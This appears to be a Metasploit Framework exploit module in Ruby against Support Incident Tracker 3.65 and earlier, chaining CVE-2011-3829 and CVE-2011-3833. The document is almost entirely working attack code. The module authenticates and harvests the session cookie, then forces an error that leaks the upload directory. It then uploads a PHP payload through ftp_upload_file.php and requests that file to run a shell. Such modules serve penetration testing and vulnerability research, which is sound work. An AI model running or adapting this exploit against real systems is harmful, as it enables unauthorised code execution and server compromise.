Support Incident Tracker 3.65 – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Support Incident Tracker <= 3.65 Remote Command Execution', 'Description' => %q{ This module combines two separate issues within Support Incident Tracker (<= 3.65) application to upload arbitrary data and thus execute a shell. The two issues exist in ftp_upload_file.php. The first vulnerability exposes the upload dir used to store attachments. The second vulnerability allows arbitrary file upload since there is no validation function to prevent from uploading any file type. Authentication is required to exploit both vulnerabilities. }, 'Author' => [ 'Secunia Research', # Original discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', 'CVE-2011-3829'], ['CVE', 'CVE-2011-3833'], ['OSVDB', '76999'], ['OSVDB', '77003'], ['URL', 'http://secunia.com/secunia_research/2011-75/'], ['URL', 'http://secunia.com/secunia_research/2011-79/'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', } }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 10 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "SiT! directory path", "/sit"]), OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]), ], self.class) end def check if datastore['URI'][-1, 1] == "/" uri = datastore['URI'] + "index.php" else uri = datastore['URI'] + "/index.php" end res = send_request_raw({ 'uri' => uri }) if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/) ver = [ $1.to_i, $2.to_i ] print_status("SiT! #{ver[0]}.#{ver[1]}") if (ver[0] == 3 and ver[1] == 65) return Exploit::CheckCode::Vulnerable elsif (ver[0] == 3 and ver[1] < 65) return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def retrieve_session(user, pass) if datastore['URI'][-1, 1] == "/" uri = datastore['URI'] + "login.php" else uri = datastore['URI'] + "/login.php" end res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'data' => "username=#{user}&password=#{pass}", }, 25) if (res and res.code == 302 and res.headers['Location'] =~ /main.php/) print_status("Successfully logged in as #{user}:#{pass}") if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/ session = $1 print_status("Successfully retrieved cookie: #{session}") return session else raise RuntimeError, "Error retrieving cookie!" end else raise RuntimeError, "Error logging in." end end def upload_page(session, newpage, contents) if datastore['URI'][-1, 1] == "/" uri = datastore['URI'] + "ftp_upload_file.php" else uri = datastore['URI'] + "/ftp_upload_file.php" end boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"file\"; " data << "filename=\"#{newpage}\"\r\n" data << "Content-Type: application/x-httpd-php\r\n\r\n" data << contents data << "\r\n--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n" data << rand_text_alphanumeric(rand(10 + 10)) data << "\r\n--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n" data << rand_text_alphanumeric(rand(20) + 20) data << "\r\n--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n" data << "1" data << "\r\n--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n" data << "publish" data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => uri, 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, 'Cookie' => "SiTsessionID=#{session}", } }, 25) if (res and res.code == 200) print_status("Successfully uploaded #{newpage}") return res else raise RuntimeError, "Error uploading #{newpage}" end end def retrieve_upload_dir(session) data = rand_text_alphanumeric(rand(20)+20) filename = rand_text_alphanumeric(rand(256) + 300) res = upload_page(session, filename, data) if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/ upload_dir = "attachments-#{$1}" print_status("Successfully retrieved upload dir: #{upload_dir}") return upload_dir else raise RuntimeError, "Error retrieving the upload dir" end end def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") if datastore['URI'][-1, 1] == "/" uri = datastore['URI'] + cmdpath else uri = datastore['URI'] + "/#{cmdpath}" end send_request_raw({ 'uri' => uri }, 25) return end def exploit cmd_php = '<?php ' + payload.encoded + '?>' cmdscript = rand_text_alphanumeric(rand(10)+10) + '.php' user = datastore['USERNAME'] pass = datastore['PASSWORD'] session = retrieve_session(user, pass) upload_dir = retrieve_upload_dir(session) # CVE-2011-3829 upload_page(session, cmdscript, cmd_php) # CVE-2011-3833 cmdpath = "#{upload_dir}/#{cmdscript}" cmd_shell(cmdpath) handler end end |